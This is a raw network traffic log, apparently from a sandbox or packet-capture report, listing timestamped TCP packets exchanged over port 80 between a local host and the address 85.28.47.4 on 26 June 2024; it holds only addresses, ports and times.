Jun 26, 2024 08:16:24.993508101 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993513107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993522882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993530989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993539095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993554115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993557930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993557930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993563890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993572950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993587971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993590117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993598938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993616104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993634939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993638039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993643999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993659973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993669033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993685007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993688107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993688107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993695021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993711948 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993730068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993740082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993746042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993746996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993757010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993763924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993773937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993788958 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993798018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993803024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993803024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993865013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993872881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993880987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993943930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993952990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993962049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993978024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993985891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.994007111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.994015932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.994030952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.994033098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.994033098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.994067907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.994080067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.078844070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.078900099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.078907967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.078994036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079011917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079020977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079027891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079045057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079063892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079081059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079082012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079082012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079088926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079108953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079118967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079127073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079135895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079144001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079174995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079174995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079247952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079257011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079282999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079291105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079299927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079303980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079303980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079305887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079315901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079324007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079349995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079371929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079391956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079401016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079441071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079449892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079464912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079473019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079473019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079489946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079513073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079519033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079521894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079576015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079576015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079616070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079624891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079641104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079658985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079673052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079679012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079687119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079710007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079715967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079734087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079735994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079741955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079751968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079776049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079797029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079814911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079818010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079869032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.079920053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079930067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.079989910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080140114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080149889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080168009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080177069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080184937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080188990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080216885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080225945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080241919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080265999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080272913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080272913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080318928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080323935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080332994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080348969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080358982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080391884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080452919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080549955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080568075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080584049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080591917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080600023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080607891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080615997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080622911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080624104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080634117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080666065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080671072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080671072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080676079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080693960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080704927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080719948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080734968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080770969 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080770969 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080779076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080789089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080797911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080806017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080813885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080821991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080837965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080846071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080869913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080878019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080884933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080923080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080923080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080960035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.080969095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080977917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.080986977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081003904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081012964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081056118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081056118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081115007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081124067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081140041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081147909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081156969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081172943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081181049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081196070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081196070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081196070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081208944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081238985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081238985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081243038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081253052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081262112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081269979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081279039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081301928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081331015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081338882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081356049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081363916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081371069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081389904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081389904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081478119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081486940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081496954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081505060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081513882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081521988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081528902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081537008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081542969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081551075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081557035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081557035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081558943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081568956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081577063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081629038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081633091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081633091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081636906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081655025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.081691980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.081774950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167031050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167057037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167073965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167121887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167130947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167146921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167216063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167217016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167236090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167246103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167282104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167289972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167324066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167324066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167340994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167351007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167359114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167397976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167406082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167404890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167423964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167431116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167442083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167469978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167485952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167531967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167609930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167645931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167655945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167670965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167679071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167687893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167711020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167711973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167722940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167731047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167731047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167742968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167758942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167767048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167774916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167785883 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167785883 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167805910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167808056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167823076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167830944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167839050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167846918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167862892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167862892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167862892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167910099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167910099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.167933941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167943001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167958975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167967081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167983055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.167992115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168014050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168014050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168035984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168064117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168164968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168183088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168190956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168206930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168215990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168231964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168246031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168260098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168260098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168297052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168330908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168339968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168354034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168364048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168379068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168386936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168395042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168395996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168396950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168405056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168416023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168420076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168452024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168467999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168518066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168526888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168541908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168550968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168565035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168570995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168586016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168590069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168591022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168606043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168615103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168631077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168641090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168641090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168657064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168668032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168679953 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168679953 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168687105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168697119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168704033 CEST	80	49713	85.28.47.4	192.168.2.6
